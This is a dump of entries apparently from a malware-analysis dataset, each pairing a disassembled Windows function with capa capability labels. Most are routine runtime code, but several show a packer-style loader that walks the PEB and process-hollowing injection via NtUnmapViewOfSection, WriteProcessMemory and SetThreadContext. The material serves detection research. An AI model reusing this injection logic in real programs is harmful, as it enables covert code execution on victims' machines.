joyce8/EMBER2024-capa huggingface dataset:
Function at 0x705dc170
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x706a0df5
push ebx
sub esp, 0x9c
mov eax, dword [str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_https:__gcc.gnu.org_bugs__:_n]
mov dword [ebp - 0x81], eax
mov eax, dword [0x706a0e59]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.705cb1c0
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 8], edx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x8c], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.705d9a70
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.70695980
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x7069e248], 0
jne 0x705dc296
mov byte [0x7069e248], 1
call fcn.706935a0
test eax, eax
je 0x705dc264
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.705ca340
mov dword [esp], 2
mov esi, dword [fcn.705d92d0]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x705dc254
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x706a15f9
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x70696164
jmp 0x7069615c
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x705dc21a
mov dword [esp], 2
call dword [0x7069d0a0]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x70696157
mov dword [esp], 2
call dword [0x7069d0a0]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x706a15a8
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
call sub.msvcrt.dll_abort
mov dword [esp], edi
call fcn.705d9a38
call fcn.706938d0
call fcn.70693490
call fcn.706935d0
jmp 0x70696157
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x42df1c
push dword [0x42def8]
push 0x42defc
push dword [0x42df1c]
push 0x42df20
call fcn.0040102b
add esp, 0x14
push 0x42df20
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x42df3c
push dword [0x42def8]
push 0x42defc
push dword [0x42df3c]
push 0x42df40
call fcn.0040102b
add esp, 0x14
push 0x42df40
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x42df5c
push dword [0x42def8]
push 0x42defc
push dword [0x42df5c]
push 0x42df60
call fcn.0040102b
add esp, 0x14
push 0x42df60
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x404028]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404030
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x404028]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x4046f4
push dword [0x40402c]
push 0x4046d0
push dword [0x4046f4]
push 0x4046f8
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x42dfac], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x42dfac]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011ab
Capabilities:
Compress data via winapi
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push str.CreateProcessA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406570], eax
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406574], eax
push str.VirtualAllocEx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406578], eax
push str.WriteProcessMemory
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40657c], eax
push str.GetThreadContext
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406580], eax
push str.SetThreadContext
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406584], eax
push str.ResumeThread
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406588], eax
push str.RtlCompressBuffer
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40658c], eax
push str.RtlDecompressBuffer
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406590], eax
push str.RtlGetCompressionWorkSpaceSize
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406594], eax
pop ebp
ret
Function at 0x40160e
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push 0x2cc
push 0
lea eax, [ebp - 0x2d4]
push eax
call fcn.004017a0
add esp, 0xc
mov dword [ebp - 0x2d4], 0x10007
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x2d8], ecx
mov ecx, dword [ebp - 0x2d8]
mov edx, dword [ebp + 0x10]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [0x406574]
push 0x40
push 0x3000
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x406578]
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x40657c]
mov dword [ebp - 0x2dc], 0
jmp 0x4016b8
mov eax, dword [ebp - 0x2dc]
add eax, 1
mov dword [ebp - 0x2dc], eax
mov ecx, dword [ebp - 4]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 0x2dc], edx
jge 0x401714
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 0x2dc]
imul edx, edx, 0x28
add edx, dword [ebp + 0x10]
lea eax, [edx + ecx + 0xf8]
mov dword [ebp - 8], eax
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x34]
mov ecx, dword [ebp - 8]
add eax, dword [ecx + 0xc]
push eax
mov edx, dword [ebp + 8]
push edx
call dword [0x40657c]
jmp 0x4016a9
lea eax, [ebp - 0x2d4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [0x406580]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x34]
mov ecx, dword [ebp - 4]
add eax, dword [ecx + 0x28]
mov dword [ebp - 0x224], eax
lea edx, [ebp - 0x2d4]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [0x406584]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x4034a1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4061d0
cmp edx, dword [eax]
je 0x4034c3
add eax, 8
inc ecx
cmp eax, 0x406260
jl 0x4034b4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4061d0]
jne 0x4035f1
mov eax, dword [0x4065a0]
cmp eax, 1
je 0x4035cb
test eax, eax
jne 0x4034f4
cmp dword [0x406124], 1
je 0x4035cb
cmp edx, 0xfc
je 0x4035f1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40352b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403d60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403e50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40356e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403e50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4053a0
push edi
call fcn.00403f60
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403d60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403d70
lea eax, [ebp - 0xa0]
push 0x405380
push eax
call fcn.00403d70
push dword [esi + 0x4061d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403d70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00403ecb
add esp, 0x2c
pop edi
jmp 0x4035f1
lea eax, [ebp + 8]
lea esi, [esi + 0x4061d4]
push 0
push eax
push dword [esi]
call fcn.00403e50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4022aa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4022e8
xor al, al
jmp 0x402327
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x14], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
je 0x402320
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jne 0x402320
mov dword [ebp - 0x10], 1
jmp 0x402324
and dword [ebp - 0x10], 0
mov al, byte [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406931
leave
ret
Function at 0x4058fa
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40591b
jl 0x405912
test edi, edi
jne 0x40591b
xor eax, eax
xor edx, edx
jmp 0x4059dc
cmp dword [ebx + 0x38], 0
je 0x405930
push eax
push edi
push dword [ebp + 8]
call fcn.004059e2
jmp 0x4059dc
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x405977
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x405977
cmp eax, edi
jb 0x405951
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00407cc0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40597d
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4059d1
mov ecx, ebx
call fcn.00405149
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4059bc
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040bf7a
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4059d1
jmp 0x40598f
test edx, edx
je 0x4059d1
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040bf7a
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x407271
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4072b0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4072b0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4072b0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4072b0
cmp dword [ecx + 0x74], 0xe
jbe 0x4072b0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4111e3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420308
push 0x420300
push 0x41eb44
push 0x1f
call fcn.004110ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411217
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d138]
call esi
jmp 0x41121d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x411261
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420318
push 0x420310
push 0x41eb68
push 0x21
call fcn.004110ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411298
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4112a0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420320
push 0x420318
push 0x41eb7c
push 0x22
call fcn.004110ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4112da
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41d138]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x412c2c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407610
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00411873
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x412c6e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x412dca
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041c000
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5506c0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00413c29
mov ecx, dword [esi*4 + 0x5506c0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x412dc3
cmp eax, dword [ecx + edi + 0x24]
jne 0x412dc3
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x412dc3
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00413c29
add esp, 0x14
test edx, edx
jl 0x412dc3
jg 0x412d39
test eax, eax
jb 0x412dc3
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x412dc3
jl 0x412d53
cmp dword [ebp - 0x1008], eax
ja 0x412dc3
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x412d71
test ebx, ebx
je 0x412daa
cmp ecx, edi
jae 0x412daa
mov al, byte [ecx]
cmp al, 0xd
jne 0x412d8b
lea eax, [edi - 1]
cmp ecx, eax
jae 0x412d97
cmp byte [ecx + 1], 0xa
jne 0x412d97
inc ecx
jmp 0x412d97
movzx eax, al
movsx eax, byte [eax + 0x4272f8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x412d71
cmp edx, ebx
jne 0x412d71
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x412dc8
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406931
leave
ret
Function at 0x4130c1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x5506c0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x413101
cmp byte [ebx], 0xa
jne 0x413101
or byte [edi + eax + 0x28], 4
jmp 0x413106
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x413205
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4131e8
inc eax
cmp dl, 0xd
je 0x413132
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x413158
cmp eax, ecx
jae 0x413166
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41311a
jmp 0x413205
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4131e3
cmp dword [ebp - 0x10], 0
je 0x4131e3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x5506c0]
test byte [eax + edi + 0x28], 0x48
je 0x4131bd
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4131a8
mov byte [esi], dl
jmp 0x4131b9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x5506c0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x413205
cmp byte [ebp - 1], 0xa
jne 0x4131cc
cmp esi, ebx
jne 0x4131cc
mov byte [esi], 0xa
jmp 0x413204
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00413c47
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x413205
mov byte [esi], 0xd
jmp 0x413204
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x5506c0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x413202
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x413205
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41320e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x5506c0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x413254
cmp word [ebx], dx
jne 0x413254
or byte [eax + edi + 0x28], 4
jmp 0x413259
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4133bc
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41339c
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41329a
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4132d0
cmp eax, edx
jae 0x4132de
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x413275
jmp 0x4133bc
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x413397
cmp dword [ebp - 0x18], 0
je 0x413397
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x5506c0]
test byte [eax + edi + 0x28], 0x48
je 0x41336d
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x413331
mov word [esi], cx
jmp 0x413368
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x5506c0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x5506c0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x5506c0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4133bc
pop eax
cmp word [ebp - 4], ax
jne 0x41337d
cmp esi, ebx
jne 0x41337d
mov word [esi], ax
jmp 0x4133b9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00413c47
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4133bc
push 0xd
pop eax
jmp 0x413378
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x5506c0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4133b6
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4133bc
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret